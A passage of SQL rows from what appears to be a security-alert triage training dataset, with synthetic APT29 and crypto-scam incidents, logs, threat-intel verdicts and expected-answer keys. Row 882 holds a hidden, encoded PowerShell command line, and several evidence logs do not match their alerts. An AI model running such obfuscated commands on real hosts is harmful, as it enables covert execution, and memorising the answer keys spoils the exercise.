(879, 'Cryptocurrency Transfer Activity', 'high', 'Blockchain Analysis Tools', 'The attacker posted fraudulent messages from compromised accounts, directing followers to a Bitcoin wallet and successfully stealing $120,000 before detection.', 'Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:56:32Z\",\"event_id\":\"evt-crypto-004\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.101\",\"source_user\":\"compromised_user_01\",\"transaction_id\":\"tx1234567890\",\"bitcoin_wallet\":\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\",\"amount_usd\":120000,\"malicious_url\":\"http://malicious-site.com/bitcoin-scam\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"scam_guide.pdf\"}', '2026-01-15 00:55:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple fraudulent activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user_01\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account compromised in phishing attack.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-site.com/bitcoin-scam\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis Service\",\"verdict\":\"malicious\",\"details\":\"URL hosting Bitcoin scam content.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"PDF file associated with scam instructions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.549Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:56:32Z\\\",\\\"event_id\\\":\\\"evt-crypto-004\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.101\\\",\\\"source_user\\\":\\\"compromised_user_01\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"bitcoin_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"amount_usd\\\":120000,\\\"malicious_url\\\":\\\"http://malicious-site.com/bitcoin-scam\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"scam_guide.pdf\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(880, 'Unauthorized Certificate Access Detected', 'high', 'Security Information and Event Management (SIEM)', 'An unauthorized access attempt was detected using a compromised certificate. APT29 is leveraging a stolen Mimecast certificate to gain initial access to Microsoft 365 environments, indicative of a supply chain attack vector.', 'Supply Chain Attack', 'T1195: Supply Chain Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"event_id\":\"evt-20231015-001\",\"source_ip\":\"185.100.87.202\",\"destination_ip\":\"192.168.1.10\",\"certificate_serial\":\"04:92:48:7D:3A:5B:9C:1E:AC:91\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"filename\":\"MimecastCert.pfx\",\"username\":\"j.doe@company.com\",\"event_type\":\"certificate_access\",\"log_message\":\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.100.87.202\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with certificate theft\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"MimecastCert.pfx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Filename linked to unauthorized access attempts\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.551Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_id\\\":\\\"evt-20231015-001\\\",\\\"source_ip\\\":\\\"185.100.87.202\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"certificate_serial\\\":\\\"04:92:48:7D:3A:5B:9C:1E:AC:91\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"filename\\\":\\\"MimecastCert.pfx\\\",\\\"username\\\":\\\"j.doe@company.com\\\",\\\"event_type\\\":\\\"certificate_access\\\",\\\"log_message\\\":\\\"Unauthorized certificate access detected from IP 185.100.87.202 using compromised certificate to 192.168.1.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(881, 'Suspicious OAuth Token Requests', 'high', 'Cloud Access Security Broker (CASB)', 'APT29 has been observed abusing OAuth tokens to escalate privileges within the cloud infrastructure. This activity was detected following an initial access, indicating potential persistence strategies by the threat actor.', 'Cloud Exploitation', 'T1550.001 - Use Alternate Authentication Material: Application Access Token', 1, 'new', NULL, '{\"event_time\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\",\"user\":\"jdoe@corp.com\",\"action\":\"OAuth Token Request\",\"service_name\":\"Company Cloud Service\",\"token_id\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"token_status\":\"active\",\"detected_by\":\"CASB\",\"description\":\"OAuth token request from an external IP associated with known APT activity.\",\"related_filename\":\"malicious_payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with APT29 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe@corp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Corporate user potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.552Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"user\\\":\\\"jdoe@corp.com\\\",\\\"action\\\":\\\"OAuth Token Request\\\",\\\"service_name\\\":\\\"Company Cloud Service\\\",\\\"token_id\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"token_status\\\":\\\"active\\\",\\\"detected_by\\\":\\\"CASB\\\",\\\"description\\\":\\\"OAuth token request from an external IP associated with known APT activity.\\\",\\\"related_filename\\\":\\\"malicious_payload.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(882, 'Persistent Backdoor Installation Detected', 'high', 'Endpoint Detection and Response (EDR)', 'APT29 has installed a backdoor on host 192.168.1.101 using obfuscated techniques to maintain access. This is part of a larger operation to compromise the environment.', 'Persistence', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:34Z\",\"event_type\":\"process_creation\",\"host_ip\":\"192.168.1.101\",\"attacker_ip\":\"203.0.113.5\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -nop -w hidden -enc SGVsbG8gd29ybGQ=\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\powershell.exe\",\"username\":\"jdoe\",\"hash\":\"3a1e2f1d2b4c5e6f7a8b9c0d1e2f3a4b\",\"malware_filename\":\"backdoor_ap29.dll\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.5\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known APT29 command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a1e2f1d2b4c5e6f7a8b9c0d1e2f3a4b\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29 backdoor activities.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor_ap29.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Filename used by APT29 for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account compromised for persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(883, 'Unusual Lateral Movement Activity', 'high', 'Network Monitoring Tools', 'Detected lateral movement within the network. Anomalous activity observed from internal host attempting unauthorized access to multiple systems. Indicators suggest potential APT29 involvement leveraging known TTPs.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:23:45Z\",\"event_id\":\"1001\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"10.0.0.15\",\"user\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"failed\",\"external_attacker_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"APT29_tool.exe\",\"protocol\":\"SMB\",\"message\":\"Anomalous login attempt detected from host 192.168.1.25 to 10.0.0.15; potential lateral movement suspected.\"}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known APT29 malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"APT29_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename resembles known APT29 tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(884, 'Data Exfiltration Attempt Identified', 'high', 'Data Loss Prevention (DLP)', 'APT29 attempts to exfiltrate critical data from compromised systems, targeting government and defense sector intelligence.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:05Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"b2f5ff47436671b6e533d8dc3614845d\",\"user\":\"jdoe\",\"exfiltration_method\":\"HTTP POST\",\"action\":\"blocked\",\"alert_id\":\"DLP-20231015-1025\",\"additional_info\":{\"url\":\"http://maliciousdomain.com/upload\",\"protocol\":\"HTTP\",\"bytes_transferred\":10485760}}', '2026-01-15 00:56:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT29 command and control 